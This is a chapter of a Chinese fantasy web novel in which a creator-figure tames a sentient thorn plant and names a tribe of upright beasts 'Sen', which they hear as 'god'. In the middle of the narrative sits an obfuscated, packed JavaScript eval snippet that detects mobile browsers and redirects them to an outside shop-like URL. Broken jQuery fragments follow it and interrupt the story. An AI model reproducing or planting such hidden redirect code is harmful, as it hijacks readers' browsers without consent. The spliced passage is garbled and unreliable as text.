6. 森3

作品:《他们叫我创世神,但我不

    智慧植物的根茎剧烈地抖动,水从叶片上流下来。


    荆棘与荆棘的摩擦中,竟然发出了类似婴孩的哭声,尖锐又刺耳。


    “什么鬼小屁孩?”


    吴坝酒将手中的智慧植物翻来覆去研究着。


    “有点像混在杂草堆里的植物?好像小时候捏过的杂草堆里的紫黑色果实。”


    吴坝酒带着点怀念感叹道。


    至于去弄清楚像地星上的哪颗植物,还是算了吧。


    几十亿年的发展让影子星球里的动植物面目全非。


    这智慧植物的叶片和普通植物一样有绒毛,根茎就是攻击吴坝酒的荆棘。


    一共18条,长度未知,带有尖刺倒钩,尖刺顶端有一点黑,那应该带着毒素。


    吴坝酒用两只手指捏着紫黑色果实,这颗果实只有拇指指甲那么大,表面有一些纹路,那些纹路——


    “人脸!”


    吴坝酒惊悚地放开紫黑色果实。


    说人脸也不准确,因为那只是纹路,并不像人一样有凸起凹陷的眼鼻口耳。


    但这让吴坝酒有种恐怖谷效应的诡异感。


    他僵硬地看向远远待一旁的五只直立兽类,从直立兽类眼中看到了崇拜的目光后,心里放松了下来。


    五只直立兽类就算直立了,脸也不是人脸,它们是兽脸。


    看来这颗智慧生物活了很久,久到它吞噬掉血脉接近第一代伪人的类人?


    虚影出现的这段时间,吴坝酒陆陆续续投入了1000个伪人,现在物馆中里只剩下一千名伪人。


    那1000个伪人几乎没有诞生出纯第二代人,但他们和之前投入的1000名伪人一样,很好地完成了混入异族的任务。


    “说吧,为什么要攻击我?”


    晃了晃手中的智慧植物,但这颗智慧植物又开始像装傻一样嘤嘤嘤地哭。


    无奈,吴坝酒只能再次举起手。


    智慧植物一个抖动,叶片迅速摩擦出声音。


    “咕!”(吃!)


    “说清楚点!”


    “嘶!”(死!)


    吴坝酒烦躁地甩了甩手上的植物,他又听不懂智慧植物话里的意思了。


    吃什么?他很好吃?还是智慧植物想要食物?还是他破坏了智慧植物的食物?


    就算能量可以转成心灵和心灵的沟通,但简短又有缺失的语言,会给沟通带来成倍的难度。


    打个比方,智慧植物心里想着不想吃,但它说不出不想吃这三个字,它说着吃却厌恶地想着某种生物或植物。


    这时如果用能量翻译,只会翻译出吃,而不会翻译成不想吃。


    因为吃是智慧植物说出的话,但它内心浮现出的一切都不被包含在这个吃字里面。


    如果智慧植物能正常表达不想吃的想法,那能量才能准确地翻译出不想吃。


    吴坝酒低下头,沙漏好好地挂在他的脖子上,沙漏下层的银色能量还剩下三分之二。


    如果日后生物说的每句话他都要用能量翻译,他的每一句话也要能量翻译的话,他逗留在这个世界的时间会再次缩短。


    “果然还是要教你们文字和语言。”


    想到这里,吴坝酒看向远处的五只直立兽类。


    五只直立兽类感应到吴坝酒眼中的命令,乖乖地靠近。


    它们敬畏着这片区域的霸主植物,现在霸主生物被眼前这个奇异的鸟捉在手里。


    这让它们又怕又俱。


    吴坝酒拍拍还没屈服的智慧植物,禁锢它的力量一收,


    “你回去继续埋着还是跟我一起走?”


    虽然他对智慧植物有点好奇,但事情要一件件来,他现在首要目标是跟着直立兽类,顺便教它们语言和文字。


    况且智慧植物又不傻,它应该拥有几岁到十几岁的智商,它要是硬要走的话,谁也不能阻止它。


    闻言,智慧植物本体一定,所有施展出去的荆棘往本体底部卷回来。


    地面轻微震动,生物被惊得到处行动,远处群鸟高飞。


    但由于这里是智慧植物本体所在地,这片地盘的生物都不敢往这边凑。


    不多时,智慧生物的荆棘像是被吸干了水一样,只剩下薄薄的皮。


    它们如同透明胶球一样层层叠叠黏在一起,被卷成一个拳头大小的球。


    它弯曲枝茎,借着手掌心上的力,跳到吴坝酒的肩膀。


    吴坝酒这才发现,干瘪荆棘球的底下,有两条荆棘的尾端伸了出来,当做脚用。


    如果它的样子被地星任何一个人看到的话,绝对会笑翻了天。


    整体小手臂长的植物,它半张手掌大的叶片下是比叶片还要大一倍的荆棘球,球下还有两根和根茎一般粗细的“小短腿”。


    这让吴坝酒想起了网络上的南方小土豆,闷声笑了下。


    虽然不懂小屁孩莫名其妙的攻击后又奇异地和好行为。


    但还真是熊起来真熊,可爱起来又超级可爱的小屁孩。


    “哔!”(走!)


    处理好了智慧植物后,吴坝酒取出他之前收上去的那条骨头项链。


    一看到项链,某只直立兽类立刻叽叽叽地手舞足蹈起来,但它不敢靠近吴坝酒。


    见状,吴坝酒将骨头项链抛给了它。


    直立兽类接住后,立刻将骨头项链重新戴到脖子上,并且开始围绕着虚影跳舞。


    也不能说跳舞,这只是简单地拍拍手,扭扭腰而已。


    ——咕嘎,咕嘎,咕嘎……


    “咕嘎,咕嘎,咕嘎。”


    不用翻译,吴坝酒就知道它在说变变变。


    也不知道这个原始时代,有没有类似祭司之类的职位。


    现在不是想这些的时候,吴坝酒拍拍手,问靠自己最近的攻击过自己的直立兽类,


    “你叫什么?”


    “嗷?”


    攻击过他的直立兽类歪头疑惑。


    根据吴坝酒的能量翻译,这个嗷只是因为疑惑而发出的音,不代表任何意思。


    拥有这么广泛意思的词语,应该不会用作名字吧?


    该死,就不能让他节省一下能量吗!


    想多心疼,吴坝酒指着其中一只直立兽类,“咕叽?”再指着另外一只,“咕叽?”再换一只,“咕叽?”


    最后总结,“名字?”


    看着眼前的直立兽类还是一副困惑的样子,吴坝酒疑惑了。


    难道这个时期它们没有为自己取一个名字来区分单独个体吗?


    不应该啊,地星的直立人是正儿八经地从猿到人进化出来,所以它们那个时期没有名字是一件很正常的事。


    但影子星球中的直立人是吃了伪人后进化而来,一代又一代的传承中,它们应该比地星上的直立人进化进程快多才对。


    难道中途有什么意外?


    吴坝酒再次重复上面的动作,重复了几次后,戴骨头项链的直立兽类也凑了过来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357049|152771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    它听一遍后,就指着自己说道:“嗷噗噗!”


    再指攻击吴坝酒的直立兽类,“嗷呜呜!”


    最后依次指剩下的三只直立兽类,“噗嗷嗷!”“噗咕咕!”“咕噗噗!”


    最后嗷噗噗指着吴坝酒,问道:“嗷噗噗?”


    这句话不用能量翻译,吴坝酒也知道这是问自己的名字。


    他松了口气,还好直立兽类不蠢,蠢的应该只是嗷呜呜而已。


    不过两个嗷,两个噗,看来这群直立兽类也懂得让有关系的双方用同一个姓?


    不知道是母系关系还是父系关系。


    话说回来,它们有姓氏之分吗?名字为什么是三个字。


    虽然吴坝酒心中有很多问题想问,但还是回归正题吧。


    自从弄出小白人之后,他就一直小白人小白人的叫,即使现在的小白人已经不是没有口鼻眼耳只有人形轮廓的小白人。


    小白人的确应该有一个属于自己的名字。


    “森。”


    森林的森,这里是小白人不再是小白人的起点。


    “神!”


    吴坝酒:?


    嗷噗噗对其它恍恍惚惚的四只喊了一声,貌似是让它们跟上。


    “神!”“神!”……


    “不是神,是森!”


    “神!”“神!”“神!”……


    “不是神!”


    好中二!好想捂脸!


    本来豪情壮阔要大干一番事业的心情都被这一声神给中二得尴尬起来。


    但就算吴坝酒怎么否定,五只直立兽类的发音依然是神。


    “我明明不是这样发音!”


    吴坝酒瞪着五只直立兽类,所以它们为什么会将森发成神的音呢?


    难道因为它们没有文字弄混了?还是发音器官不太好,还是?


    他的眼睛撇向肩膀处立着叶片的智慧植物。


    智慧植物一个机灵,树叶摩擦之后,


    “森!”


    这一个字没有任何音有错误,正儿八经的森字发音。


    难为它能用叶片摩擦出来。


    吴坝酒感动了一秒,决定将智慧植物在他心中的地位升一升。


    果然不是他教得不好,而是是这群直立兽类太蠢了。


    他一定要好好教它们文字和语言!好好改一改它们那个中二的神的发音!


    “你的名字是什么?”


    智慧植物将两片叶子拍得啪啪作响。


    吴坝酒:??


    “名字?”


    啪啪——继续拍。


    好吧,吴坝酒知道了,但是他不想叫。


    看着智慧植物将叶片拍得快如闪电,他灵机一动。


    “以后你叫雷,雷动!”


    雷动停止了拍动叶子,歪了歪身子,它大概不明白吴坝酒的意思。


    “你看过天上打雷吗?”


    吴坝酒伸出手掌举到上面,然后用手指模拟打雷落下来的情况。


    “雷动,说的就是一举一动就像雷电。”


    啪啪啪——


    雷动的几片叶片拍得咻咻作响,看情况,它理解了吴坝酒说的话,也接受了这个名字。


    吴坝酒暗中松了口气。


    不换智慧植物的名字不行啊。


    就啪啪两个字,污一点的想法就是每次念都像在说荤话,不污一点的想法就是每次念都在喊爸爸。


    不管怎么喊,都是智慧植物占便宜。